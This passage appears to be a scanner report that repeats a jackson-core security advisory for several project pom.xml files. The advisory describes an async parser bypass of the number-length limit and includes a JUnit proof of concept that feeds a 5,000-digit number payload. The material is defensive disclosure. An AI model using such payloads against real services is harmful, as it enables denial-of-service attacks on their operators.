- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.

### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

```java
package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {

private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;

private final JsonFactory factory = new JsonFactory();

// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}

// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();

boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}

private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}

```


### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.

### Suggested Remediation

The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.

**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)

Reference: https://github.com/advisories/GHSA-72hv-8253-57qq

GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 2.15.2

Fixed Version: 2.21.1, 2.18.6

Target: spin/pom.xml

Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.

- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.

### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

```java
package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {

private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;

private final JsonFactory factory = new JsonFactory();

// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}

// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();

boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}

private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}

```


### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.

### Suggested Remediation

The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.

**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)

Reference: https://github.com/advisories/GHSA-72hv-8253-57qq

GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 2.15.2

Fixed Version: 2.21.1, 2.18.6

Target: webapps/assembly-jakarta/pom.xml

Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.

- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.

### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

```java
package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {

private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;

private final JsonFactory factory = new JsonFactory();

// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}

// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();

boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}

private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}

```


### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.

### Suggested Remediation

The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.

**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)

Reference: https://github.com/advisories/GHSA-72hv-8253-57qq

GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 2.15.2

Fixed Version: 2.21.1, 2.18.6

Target: webapps/pom.xml

Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.

- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.

### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

```java
package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {

private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;

private final JsonFactory factory = new JsonFactory();

// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}

// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();

boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}

private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}

```


### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.

### Suggested Remediation

The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.

**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)

Reference: https://github.com/advisories/GHSA-72hv-8253-57qq

GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 2.19.2

Fixed Version: 2.21.1, 2.18.6

Target: spring-boot-starter/starter-qa/integration-test-plugins/pom.xml

Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.

- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.

### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

```java
package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {

private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;

private final JsonFactory factory = new JsonFactory();

// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}

// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();

boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}

private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}

```


### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.

### Suggested Remediation

The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.

**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)